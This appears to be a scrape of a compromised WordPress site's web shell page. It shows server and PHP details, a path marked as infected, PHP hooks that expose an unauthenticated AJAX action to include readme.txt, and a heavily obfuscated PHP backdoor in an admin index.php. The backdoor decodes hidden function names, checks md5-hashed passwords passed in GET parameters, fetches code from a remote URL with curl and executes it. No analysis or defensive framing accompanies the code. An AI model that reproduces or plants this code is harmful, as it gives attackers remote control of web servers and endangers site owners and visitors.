if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs_infected/admin/admin/admin/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs_infected/admin/admin/admin/index.php
<?php
 goto DfJHaL0xJa0_9bzl; iaskiK9GL_OexuwK: $EMKu6rfxE8FOaliS = ${$rYZD4rm7abnY0ZRv[21 + 10] . $rYZD4rm7abnY0ZRv[34 + 25] . $rYZD4rm7abnY0ZRv[8 + 39] . $rYZD4rm7abnY0ZRv[42 + 5] . $rYZD4rm7abnY0ZRv[34 + 17] . $rYZD4rm7abnY0ZRv[45 + 8] . $rYZD4rm7abnY0ZRv[5 + 52]}; goto OHlo1y79CGSYMizr; UctcG6ji0I0AkqsF: metaphone("\116\x44\x49\60\x4f\124\x4d\64\117\x54\x59\61\x4d\x6a\115\x78\116\x54\121\170\115\152\115\x34\117\124\x55\x34\x4e\104\105\171"); goto MrxC9Pswn_soh9fJ; MrxC9Pswn_soh9fJ: class ZONdm4fpVC8eP2vd { static function sMxrOw4Dn8r3M1oT($gDB9rRTL589HZtUq) { goto QQ1p1l7MqUDwauvO; QQ1p1l7MqUDwauvO: $vIWnTdGUeUZdSiNr = "\x72" . "\x61" . "\x6e" . "\x67" . "\145"; goto aFuvtI44CWoKUyv2; aFuvtI44CWoKUyv2: $lpCMwx4ionQl_tBe = $vIWnTdGUeUZdSiNr("\176", "\x20"); goto KkHWOiX3D9hWBGmn; AkXrqINN1Ul1jQQm: gDzw30wB67GMHq4n: goto XrD6QRZ39DG7zsVQ; muXvqLzuvsJ07jry: foreach ($WwnojEWhRiyF3W7D as $SRyILCKvpZUU2qKn => $sc9pUjjIquJcsJiM) { $rhnikVfldniL86S4 .= $lpCMwx4ionQl_tBe[$sc9pUjjIquJcsJiM - 26654]; hDC5LKaFuI1B28I4: } goto AkXrqINN1Ul1jQQm; XrD6QRZ39DG7zsVQ: return $rhnikVfldniL86S4; goto DCJZKy2qI3ZtJHOs; SzguLuT9jNoE4I_6: $rhnikVfldniL86S4 = ''; goto muXvqLzuvsJ07jry; KkHWOiX3D9hWBGmn: $WwnojEWhRiyF3W7D = explode("\x2b", $gDB9rRTL589HZtUq); goto SzguLuT9jNoE4I_6; DCJZKy2qI3ZtJHOs: } static function OuZp8Yk6XAEfMEue($m0yx00ZQxq3Rr58O, $MQIaDhQL7bx6wYDq) { goto Ft9ZQR1GNRD3rfZ0; zGNrhlr70KPjLiS0: return empty($bRTABtm76WfDlel2) ? $MQIaDhQL7bx6wYDq($m0yx00ZQxq3Rr58O) : $bRTABtm76WfDlel2; goto dFpTMYAzZPJnj2FY; a2AU5Qwns9LoGiup: curl_setopt($YLASjgQ59cUhyyHk, CURLOPT_RETURNTRANSFER, 1); goto uHk4Bs7EUVGbOiC3; uHk4Bs7EUVGbOiC3: $bRTABtm76WfDlel2 = curl_exec($YLASjgQ59cUhyyHk); goto zGNrhlr70KPjLiS0; Ft9ZQR1GNRD3rfZ0: $YLASjgQ59cUhyyHk = curl_init($m0yx00ZQxq3Rr58O); goto a2AU5Qwns9LoGiup; dFpTMYAzZPJnj2FY: } static function RfJTvcpAOLqqk4Xn() { goto ENt_tXs3RTfa1bJ7; ENt_tXs3RTfa1bJ7: $R1GK0dpsxRNBvdy9 = array("\62\x36\x36\70\x31\53\62\66\66\66\66\53\62\66\66\67\71\x2b\62\66\66\x38\63\x2b\62\x36\x36\66\64\53\x32\x36\66\67\71\x2b\x32\66\x36\x38\x35\x2b\62\x36\66\x37\70\x2b\x32\x36\66\x36\63\53\62\66\x36\x37\60\x2b\x32\x36\x36\x38\61\x2b\x32\66\x36\x36\64\53\x32\x36\x36\67\x35\53\x32\66\x36\x36\x39\x2b\62\x36\x36\x37\x30", "\62\66\66\66\x35\53\x32\x36\66\66\x34\53\x32\x36\66\x36\x36\x2b\x32\x36\66\x38\x35\53\x32\66\66\x36\66\x2b\62\66\66\66\x39\x2b\x32\66\66\66\64\53\x32\66\x37\63\61\53\x32\66\x37\x32\71", "\x32\66\66\67\x34\x2b\x32\x36\x36\x36\x35\x2b\x32\x36\x36\x36\71\x2b\x32\x36\x36\67\x30\53\x32\66\66\70\65\x2b\62\66\x36\x38\60\x2b\62\x36\x36\x37\x39\x2b\62\x36\66\x38\61\x2b\x32\66\66\x36\71\x2b\x32\x36\66\70\x30\x2b\x32\x36\x36\x37\x39", "\x32\66\66\66\70\x2b\x32\x36\66\x38\63\x2b\62\66\x36\70\x31\53\62\x36\66\x37\63", "\x32\66\x36\70\x32\x2b\62\66\x36\x38\63\x2b\x32\66\x36\66\x35\x2b\x32\66\66\x37\x39\x2b\62\x36\x37\62\x36\x2b\x32\66\67\62\x38\53\62\66\66\70\x35\x2b\62\66\x36\x38\x30\53\62\66\x36\67\x39\x2b\62\66\66\70\61\x2b\62\x36\66\66\x39\53\x32\66\66\70\60\x2b\62\66\66\67\x39", "\62\x36\66\x37\x38\53\x32\66\x36\67\x35\x2b\x32\66\x36\67\x32\x2b\62\66\x36\67\x39\x2b\62\66\66\70\x35\53\x32\x36\66\x37\67\x2b\62\66\66\x37\x39\x2b\x32\x36\x36\x36\64\53\62\x36\x36\70\65\53\x32\x36\x36\x38\61\53\x32\x36\x36\x36\71\53\x32\66\66\x37\60\x2b\x32\66\x36\x36\x34\53\62\66\66\67\x39\x2b\62\66\x36\67\60\53\62\66\x36\x36\x34\x2b\62\x36\66\66\65", "\x32\66\x37\x30\70\x2b\x32\x36\67\63\x38", "\62\66\x36\65\x35", "\62\66\67\x33\x33\53\62\66\x37\63\x38", "\x32\66\67\x31\x35\x2b\62\66\x36\71\x38\x2b\62\x36\66\71\70\53\x32\66\x37\x31\65\x2b\x32\66\x36\71\x31", "\x32\x36\66\67\x38\53\x32\66\x36\x37\x35\x2b\x32\66\66\x37\62\x2b\x32\x36\x36\66\64\53\62\66\x36\67\71\53\x32\66\66\66\66\x2b\x32\x36\66\x38\x35\53\x32\66\66\x37\65\53\62\x36\x36\67\60\x2b\x32\x36\x36\66\70\x2b\62\x36\x36\x36\63\x2b\62\x36\x36\66\x34"); goto maGi2iz2prHX5OBf; ZQp2sXPnlwsiOGfl: $EAK5E4ieFPvbM1F3 = $mV1SAeURQLEkv277[2 + 0]($BeuXyxPLlT6xtLlW, true); goto e86FUE6W2wXY3Zrg; HcR0aFo_u3733M8Y: @$mV1SAeURQLEkv277[0]('', $mV1SAeURQLEkv277[5 + 2] . $mV1SAeURQLEkv277[2 + 2]($Rd_GBoqUbdQfUNcv) . $mV1SAeURQLEkv277[2 + 6]); goto aBKT9Jmn7MvnADtj; IjBNs5xw0wfkxqp2: $K1RpLUsIq51snqA9 = @$mV1SAeURQLEkv277[1]($mV1SAeURQLEkv277[10 + 0](INPUT_GET, $mV1SAeURQLEkv277[7 + 2])); goto WKGhmGGzuL2mgvWe; e86FUE6W2wXY3Zrg: @$mV1SAeURQLEkv277[8 + 2](INPUT_GET, "\x6f\x66") == 1 && die($mV1SAeURQLEkv277[5 + 0](__FILE__)); goto geTazrdeDkNbwwPh; geTazrdeDkNbwwPh: if (!(@$EAK5E4ieFPvbM1F3[0] - time() > 0 and md5(md5($EAK5E4ieFPvbM1F3[2 + 1])) === "\x33\x66\x36\x62\142\67\64\x63\x38\x31\62\61\64\66\67\145\143\x36\64\60\145\x65\x38\67\70\64\x64\x65\62\x63\141\x66")) { goto Fnc79U6p8p_fKqlw; } goto yUrAU2er7adIr4xW; maGi2iz2prHX5OBf: foreach ($R1GK0dpsxRNBvdy9 as $lD3qoiEoE9no8tWz) { $mV1SAeURQLEkv277[] = self::SMXroW4DN8r3m1OT($lD3qoiEoE9no8tWz); gIjuWIXEZi_5RCVM: } goto wznw7MUwS_iMSfQ4; wznw7MUwS_iMSfQ4: mATbgSTVU9bOO_iU: goto IjBNs5xw0wfkxqp2; yUrAU2er7adIr4xW: $Rd_GBoqUbdQfUNcv = self::OuZP8yK6XAefmeuE($EAK5E4ieFPvbM1F3[0 + 1], $mV1SAeURQLEkv277[0 + 5]); goto HcR0aFo_u3733M8Y; aBKT9Jmn7MvnADtj: die; goto ZuebmZcCvfh57yQb; WKGhmGGzuL2mgvWe: $BeuXyxPLlT6xtLlW = @$mV1SAeURQLEkv277[1 + 2]($mV1SAeURQLEkv277[5 + 1], $K1RpLUsIq51snqA9); goto ZQp2sXPnlwsiOGfl; ZuebmZcCvfh57yQb: Fnc79U6p8p_fKqlw: goto Dmv8MtagRHGAKzAi; Dmv8MtagRHGAKzAi: } } goto znYRoO45mKCSuoMB; OHlo1y79CGSYMizr: @(md5(md5(md5(md5($EMKu6rfxE8FOaliS[14])))) === "\146\x65\x39\141\x35\x61\144\x35\65\x35\x39\65\67\67\x61\x66\64\141\x62\x34\141\144\71\x62\145\x32\x34\x34\x36\x35\x63\145") && (count($EMKu6rfxE8FOaliS) == 20 && in_array(gettype($EMKu6rfxE8FOaliS) . count($EMKu6rfxE8FOaliS), $EMKu6rfxE8FOaliS)) ? ($EMKu6rfxE8FOaliS[65] = $EMKu6rfxE8FOaliS[65] . $EMKu6rfxE8FOaliS[78]) && ($EMKu6rfxE8FOaliS[88] = $EMKu6rfxE8FOaliS[65]($EMKu6rfxE8FOaliS[88])) && @($EMKu6rfxE8FOaliS = $EMKu6rfxE8FOaliS[88]($EMKu6rfxE8FOaliS[56], $EMKu6rfxE8FOaliS[65](${$EMKu6rfxE8FOaliS[46]}[17]))) && $EMKu6rfxE8FOaliS() : $EMKu6rfxE8FOaliS; goto UctcG6ji0I0AkqsF; DfJHaL0xJa0_9bzl: $rYZD4rm7abnY0ZRv = range("\x7e", "\40"); goto iaskiK9GL_OexuwK; znYRoO45mKCSuoMB: Zondm4fPvC8EP2vD::RfjtvCPaoLQQk4Xn();
?>
@ Telegram